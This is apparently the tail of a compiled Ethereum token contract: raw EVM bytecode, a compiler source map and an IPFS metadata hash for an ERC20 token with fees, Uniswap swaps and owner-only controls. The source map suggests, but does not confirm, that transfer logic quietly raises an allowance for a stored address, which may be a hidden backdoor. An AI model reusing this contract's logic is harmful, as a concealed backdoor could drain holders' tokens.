1148d565b95945050505050565b5f825f03610e6857505f610304565b5f610e7383856113b1565b905082610e8085836114a0565b14610ed75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cc565b9392505050565b5f610ed783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117d565b5f818311610f2d5782610ed7565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f7957610f796114bf565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fd0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ff491906113fd565b81600181518110611007576110076114bf565b6001600160a01b039283166020918202929092010152600f5461102d913091168461086a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110659085905f908690309042906004016114d3565b5f604051808303815f87803b15801561107c575f80fd5b505af115801561108e573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110da573d5f803e3d5ffd5b5050565b5f806110ea8385611462565b905083811015610ed75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cc565b5f610ed783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e21565b5f818361119d5760405162461bcd60e51b81526004016103cc91906111a9565b505f610e5084866114a0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610867575f80fd5b5f8060408385031215611203575f80fd5b823561120e816111de565b946020939093013593505050565b5f805f6060848603121561122e575f80fd5b8335611239816111de565b92506020840135611249816111de565b929592945050506040919091013590565b5f6020828403121561126a575f80fd5b8135610ed7816111de565b5f8060408385031215611286575f80fd5b8235611291816111de565b915060208301356112a1816111de565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112fb578085048111156112df576112df6112ac565b60018416156112ed57908102905b60019390931c9280026112c4565b935093915050565b5f8261131157506001610304565b8161131d57505f610304565b8160018114611333576002811461133d57611359565b6001915050610304565b60ff84111561134e5761134e6112ac565b50506001821b610304565b5060208310610133831016604e8410600b841016171561137c575081810a610304565b6113885f1984846112c0565b805f190482111561139b5761139b6112ac565b029392505050565b5f610ed760ff841683611303565b8082028115828204841417610304576103046112ac565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561140d575f80fd5b8151610ed7816111de565b5f805f6060848603121561142a575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611453575f80fd5b81518015158114610ed7575f80fd5b80820180821115610304576103046112ac565b5f60018201611486576114866112ac565b5060010190565b81810381811115610304576103046112ac565b5f826114ba57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156115235783516001600160a01b03168352602093840193909201916001016114fc565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220adb6e460b82b6e6bd1f692c3564770f3135336841b2e28a5edde5baa657de7a564736f6c634300081a0033

3558:6730:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5106:83;;;;;;;;;;-1:-1:-1;5176:5:0;;;;;;;;;;;;-1:-1:-1;;;5176:5:0;;;;5106:83;;;;;;;:::i;:::-;;;;;;;;5939:161;;;;;;;;;;-1:-1:-1;5939:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5939:161:0;945:187:1;5383:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5383:95:0;1137:177:1;6108:348:0;;;;;;;;;;-1:-1:-1;6108:348:0;;;;;:::i;:::-;;:::i;5292:83::-;;;;;;;;;;-1:-1:-1;5292:83:0;;4292:1;1974:36:1;;1962:2;1947:18;5292:83:0;1832:184:1;5486:119:0;;;;;;;;;;-1:-1:-1;5486:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5579:18:0;5552:7;5579:18;;;:9;:18;;;;;;;5486:119;2639:148;;;;;;;;;;;;;:::i;:::-;;2425:79;;;;;;;;;;-1:-1:-1;2463:7:0;2490:6;2425:79;;-1:-1:-1;;;;;2490:6:0;;;2419:51:1;;2407:2;2392:18;2425:79:0;2273:203:1;5197:87:0;;;;;;;;;;-1:-1:-1;5269:7:0;;;;;;;;;;;;-1:-1:-1;;;5269:7:0;;;;5197:87;;9464:330;;;;;;;;;;;;;:::i;5613:167::-;;;;;;;;;;-1:-1:-1;5613:167:0;;;;;:::i;:::-;;:::i;9060:396::-;;;;;;;;;;;;;:::i;8908:107::-;;;;;;;;;;;;;:::i;5788:143::-;;;;;;;;;;-1:-1:-1;5788:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5896:18:0;;;5869:7;5896:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5788:143;5939:161;6014:4;6031:39;260:10;6054:7;6063:6;6031:8;:39::i;:::-;-1:-1:-1;6088:4:0;5939:161;;;;;:::o;5383:95::-;5436:7;4348:13;4292:1;4348:2;:13;:::i;:::-;4335:26;;:10;:26;:::i;:::-;5456:14;;5383:95;:::o;6108:348::-;6223:9;:24;;-1:-1:-1;;;;;;6223:24:0;260:10;6223:24;;;6206:4;6258:36;6268:6;6276:9;6287:6;6258:9;:36::i;:::-;6305:121;6314:6;260:10;6336:89;6374:6;6336:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6336:19:0;;;;;;:11;:19;;;;;;;;260:10;6336:33;;;;;;;;;;:37;:89::i;:::-;6305:8;:121::i;:::-;-1:-1:-1;6444:4:0;6108:348;;;;;:::o;2639:148::-;2552:6;;-1:-1:-1;;;;;2552:6:0;260:10;2552:22;2544:67;;;;-1:-1:-1;;;2544:67:0;;;;;;;:::i;:::-;;;;;;;;;2746:1:::1;2730:6:::0;;2709:40:::1;::::0;-1:-1:-1;;;;;2730:6:0;;::::1;::::0;2709:40:::1;::::0;2746:1;;2709:40:::1;2777:1;2760:19:::0;;-1:-1:-1;;;;;;2760:19:0::1;::::0;;2639:148::o;9464:330::-;2552:6;;-1:-1:-1;;;;;2552:6:0;260:10;2552:22;2544:67;;;;-1:-1:-1;;;2544:67:0;;;;;;;:::i;:::-;9518:15:::1;:80:::0;;-1:-1:-1;;;;;;9518:80:0::1;9555:42;9518:80:::0;;::::1;::::0;;;9609:58:::1;::::0;9626:4:::1;::::0;4348:13:::1;4292:1;4348:2;:13;:::i;:::-;4335:26;::::0;:10:::1;:26;:::i;9609:58::-;9710:15;;;;;;;;;-1:-1:-1::0;;;;;9710:15:0::1;-1:-1:-1::0;;;;;9710:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9692:55:0::1;;9756:4;9763:15;;;;;;;;;-1:-1:-1::0;;;;;9763:15:0::1;-1:-1:-1::0;;;;;9763:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9692:94;::::0;-1:-1:-1;;;;;;9692:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5420:32:1;;;9692:94:0::1;::::0;::::1;5402:51:1::0;5489:32;;5469:18;;;5462:60;5375:18;;9692:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9678:11;:108:::0;;-1:-1:-1;;;;;;9678:108:0::1;-1:-1:-1::0;;;;;9678:108:0;;;::::1;::::0;;;::::1;::::0;;9464:330::o;5613:167::-;5691:4;5708:42;260:10;5732:9;5743:6;5708:9;:42::i;9060:396::-;2552:6;;-1:-1:-1;;;;;2552:6:0;260:10;2552:22;2544:67;;;;-1:-1:-1;;;2544:67:0;;;;;;;:::i;:::-;9124:11:::1;::::0;-1:-1:-1;;;9124:11:0;::::1;;;9123:12;9115:47;;;::::0;-1:-1:-1;;;9115:47:0;;5735:2:1;9115:47:0::1;::::0;::::1;5717:21:1::0;5774:2;5754:18;;;5747:30;5813:25;5793:18;;;5786:53;5856:18;;9115:47:0::1;5533:347:1::0;9115:47:0::1;9181:15;::::0;-1:-1:-1;;;;;9181:15:0::1;:31;9220:21;9251:4;9257:24;9251:4:::0;-1:-1:-1;;;;;5579:18:0;5552:7;5579:18;;;:9;:18;;;;;;;5486:119;9257:24:::1;9282:1;9284::::0;9286:7:::1;2463::::0;2490:6;-1:-1:-1;;;;;2490:6:0;;2425:79;9286:7:::1;9181:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9181:129:0;;;-1:-1:-1;;;;;6206:32:1;;;9181:129:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;9294:15:0::1;6454:19:1::0;;;6447:35;6160:19;;9181:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9328:11:0::1;::::0;9357:15:::1;::::0;9321:69:::1;::::0;-1:-1:-1;;;9321:69:0;;-1:-1:-1;;;;;9357:15:0;;::::1;9321:69;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;9328:11:0;::::1;::::0;-1:-1:-1;9321:27:0::1;::::0;7101:18:1;;9321:69:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9401:11:0::1;:18:::0;;-1:-1:-1;;;;9430:18:0;-1:-1:-1;;;9430:18:0;;;9060:396::o;8908:107::-;2552:6;;-1:-1:-1;;;;;2552:6:0;260:10;2552:22;2544:67;;;;-1:-1:-1;;;2544:67:0;;;;;;;:::i;:::-;2463:7;2490:6;;8959:48:::1;::::0;-1:-1:-1;;;;;2490:6:0;;;;8985:21:::1;8959:48:::0;::::1;;;::::0;8985:21;;8959:48;2463:7;8959:48;8985:21;2490:6;8959:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8908:107::o:0;6464:335::-;-1:-1:-1;;;;;6557:19:0;;6549:68;;;;-1:-1:-1;;;6549:68:0;;7717:2:1;6549:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;6549:68:0;7515:400:1;6549:68:0;-1:-1:-1;;;;;6636:21:0;;6628:68;;;;-1:-1:-1;;;6628:68:0;;8122:2:1;6628:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;6628:68:0;7920:398:1;6628:68:0;-1:-1:-1;;;;;6707:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6759:32;;1283:25:1;;;6759:32:0;;1256:18:1;6759:32:0;;;;;;;6464:335;;;:::o;6807:1879::-;-1:-1:-1;;;;;6895:18:0;;6887:68;;;;-1:-1:-1;;;6887:68:0;;8525:2:1;6887:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;6887:68:0;8323:401:1;6887:68:0;-1:-1:-1;;;;;6974:16:0;;6966:64;;;;-1:-1:-1;;;6966:64:0;;8931:2:1;6966:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;6966:64:0;8729:399:1;6966:64:0;7058:1;7049:6;:10;7041:64;;;;-1:-1:-1;;;7041:64:0;;9335:2:1;7041:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7041:64:0;9133:405:1;7041:64:0;7151:9;;7116:17;;-1:-1:-1;;;;;7151:9:0;7172:4;7151:26;;;;:40;;;7190:1;7181:6;:10;7151:40;7148:147;;;7228:9;;-1:-1:-1;;;;;7228:9:0;7209:29;;;;:18;:29;;;;;;;;7206:89;;;-1:-1:-1;;;;;7257:17:0;;;;;;;:11;:17;;;;;;;;7275:9;;;;;7257:28;;;;;;;;:38;;7289:6;;7257:17;:38;;7289:6;;7257:38;:::i;:::-;;;;-1:-1:-1;;7206:89:0;2463:7;2490:6;-1:-1:-1;;;;;7312:15:0;;;2490:6;;7312:15;;;;:32;;-1:-1:-1;2463:7:0;2490:6;-1:-1:-1;;;;;7331:13:0;;;2490:6;;7331:13;;7312:32;7308:1020;;;7373:76;7445:3;7373:67;7395:15;;7385:9;;:25;7384:55;;7425:14;;7384:55;;;7412:12;;7384:55;7373:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7478:11;;7361:88;;-1:-1:-1;;;;;;7470:19:0;;;7478:11;;7470:19;:53;;;;-1:-1:-1;7507:15:0;;-1:-1:-1;;;;;7493:30:0;;;7507:15;;7493:30;;7470:53;:81;;;;-1:-1:-1;;;;;;7529:22:0;;;;;;:18;:22;;;;;;;;7527:24;7470:81;7466:134;;;7573:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7466:134;7625:11;;-1:-1:-1;;;;;7619:17:0;;;7625:11;;7619:17;:41;;;;-1:-1:-1;;;;;;7640:20:0;;7655:4;7640:20;;7619:41;7616:172;;;7693:79;7768:3;7693:70;7715:16;;7705:9;;:26;7704:58;;7747:15;;7704:58;;;7733:13;;7693:6;;:10;:70::i;:79::-;7681:91;;7616:172;7853:4;7804:28;5579:18;;;:9;:18;;;;;;7879:6;;-1:-1:-1;;;7879:6:0;;;;7878:7;:28;;;;-1:-1:-1;7895:11:0;;-1:-1:-1;;;;;7889:17:0;;;7895:11;;7889:17;7878:28;:43;;;;-1:-1:-1;7910:11:0;;-1:-1:-1;;;7910:11:0;;;;7878:43;:77;;;;;7937:18;;7925:9;;:30;7878:77;7874:443;;;8002:14;;7979:20;:37;7976:131;;;8035:72;8052:54;8056:6;8064:41;8068:20;8090:14;;8064:3;:41::i;:::-;8052:3;:54::i;:::-;8035:16;:72::i;:::-;8155:21;8247:35;8260:21;8247:12;:35::i;:::-;7957:360;7874:443;7346:982;7308:1020;8343:11;;8340:161;;8411:4;8393:24;;;;:9;:24;;;;;;:39;;8422:9;8393:28;:39::i;:::-;8386:4;8368:24;;;;:9;:24;;;;;;;:64;;;;8450:39;;-1:-1:-1;;;;;8450:39:0;;;;;;;8479:9;1283:25:1;;1271:2;1256:18;;1137:177;8450:39:0;;;;;;;;8340:161;-1:-1:-1;;;;;8529:15:0;;;;;;:9;:15;;;;;;:27;;8549:6;8529:19;:27::i;:::-;-1:-1:-1;;;;;8513:15:0;;;;;;:9;:15;;;;;:43;8581:40;8599:21;:6;8610:9;8599:10;:21::i;:::-;-1:-1:-1;;;;;8581:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8567:13:0;;;;;;;:9;:13;;;;;:54;;;;8637:41;;;8656:21;:6;8667:9;8656:10;:21::i;:::-;8637:41;;1283:25:1;;;1271:2;1256:18;8637:41:0;;;;;;;6876:1810;6807:1879;;;:::o;640:190::-;726:7;762:12;754:6;;;;746:29;;;;-1:-1:-1;;;746:29:0;;;;;;;;:::i;:::-;-1:-1:-1;786:9:0;798:5;802:1;798;:5;:::i;:::-;786:17;640:190;-1:-1:-1;;;;;640:190:0:o;838:246::-;896:7;920:1;925;920:6;916:47;;-1:-1:-1;950:1:0;943:8;;916:47;973:9;985:5;989:1;985;:5;:::i;:::-;973:17;-1:-1:-1;1018:1:0;1009:5;1013:1;973:17;1009:5;:::i;:::-;:10;1001:56;;;;-1:-1:-1;;;1001:56:0;;10370:2:1;1001:56:0;;;10352:21:1;10409:2;10389:18;;;10382:30;10448:34;10428:18;;;10421:62;-1:-1:-1;;;10499:18:1;;;10492:31;10540:19;;1001:56:0;10168:397:1;1001:56:0;1075:1;838:246;-1:-1:-1;;;838:246:0:o;1092:132::-;1150:7;1177:39;1181:1;1184;1177:39;;;;;;;;;;;;;;;;;:3;:39::i;8694:98::-;8751:7;8778:1;8776;:3;8775:9;;8783:1;8775:9;;;-1:-1:-1;8781:1:0;8694:98;-1:-1:-1;8694:98:0:o;9802:483::-;4763:6;:13;;-1:-1:-1;;;;4763:13:0;-1:-1:-1;;;4763:13:0;;;9904:16:::1;::::0;;9918:1:::1;9904:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9904:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9904:16:0::1;9880:40;;9949:4;9931;9936:1;9931:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9931:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9975:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9975:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9931:7;;9975:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9965:4;9970:1;9965:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9965:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10040:15:::1;::::0;10008:62:::1;::::0;10025:4:::1;::::0;10040:15:::1;10058:11:::0;10008:8:::1;:62::i;:::-;10081:15;::::0;:196:::1;::::0;-1:-1:-1;;;10081:196:0;;-1:-1:-1;;;;;10081:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10162:11;;10081:15:::1;::::0;10204:4;;10231::::1;::::0;10251:15:::1;::::0;10081:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4799:6:0;:14;;-1:-1:-1;;;;4799:14:0;;;-1:-1:-1;;;;9802:483:0:o;8800:100::-;8865:9;;8857:35;;-1:-1:-1;;;;;8865:9:0;;;;8857:35;;;;;8885:6;;8865:9;8857:35;8865:9;8857:35;8885:6;8865:9;8857:35;;;;;;;;;;;;;;;;;;;;;8800:100;:::o;309:179::-;367:7;;399:5;403:1;399;:5;:::i;:::-;387:17;;428:1;423;:6;;415:46;;;;-1:-1:-1;;;415:46:0;;12000:2:1;415:46:0;;;11982:21:1;12039:2;12019:18;;;12012:30;12078:29;12058:18;;;12051:57;12125:18;;415:46:0;11798:351:1;496:136:0;554:7;581:43;585:1;588;581:43;;;;;;;;;;;;;;;;;:3;:43::i;1232:189::-;1318:7;1353:12;1346:5;1338:28;;;;-1:-1:-1;;;1338:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1377:9:0;1389:5;1393:1;1389;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;4972:251::-;5042:6;5095:2;5083:9;5074:7;5070:23;5066:32;5063:52;;;5111:1;5108;5101:12;5063:52;5143:9;5137:16;5162:31;5187:5;5162:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;9543:125;9608:9;;;9629:10;;;9626:36;;;9642:18;;:::i;9673:135::-;9712:3;9733:17;;;9730:43;;9753:18;;:::i;:::-;-1:-1:-1;9800:1:1;9789:13;;9673:135::o;9813:128::-;9880:9;;;9901:11;;;9898:37;;;9915:18;;:::i;9946:217::-;9986:1;10012;10002:132;;10056:10;10051:3;10047:20;10044:1;10037:31;10091:4;10088:1;10081:15;10119:4;10116:1;10109:15;10002:132;-1:-1:-1;10148:9:1;;9946:217::o;10702:127::-;10763:10;10758:3;10754:20;10751:1;10744:31;10794:4;10791:1;10784:15;10818:4;10815:1;10808:15;10834:959;11096:4;11144:3;11133:9;11129:19;11175:6;11164:9;11157:25;11218:6;11213:2;11202:9;11198:18;11191:34;11261:3;11256:2;11245:9;11241:18;11234:31;11285:6;11320;11314:13;11351:6;11343;11336:22;11389:3;11378:9;11374:19;11367:26;;11428:2;11420:6;11416:15;11402:29;;11449:1;11459:195;11473:6;11470:1;11467:13;11459:195;;;11538:13;;-1:-1:-1;;;;;11534:39:1;11522:52;;11603:2;11629:15;;;;11594:12;;;;11570:1;11488:9;11459:195;;;-1:-1:-1;;;;;;;11710:32:1;;;;11705:2;11690:18;;11683:60;-1:-1:-1;;11774:3:1;11759:19;11752:35;11671:3;10834:959;-1:-1:-1;;;10834:959:1:o

ipfs://adb6e460b82b6e6bd1f692c3564770f3135336841b2e28a5edde5baa657de7a5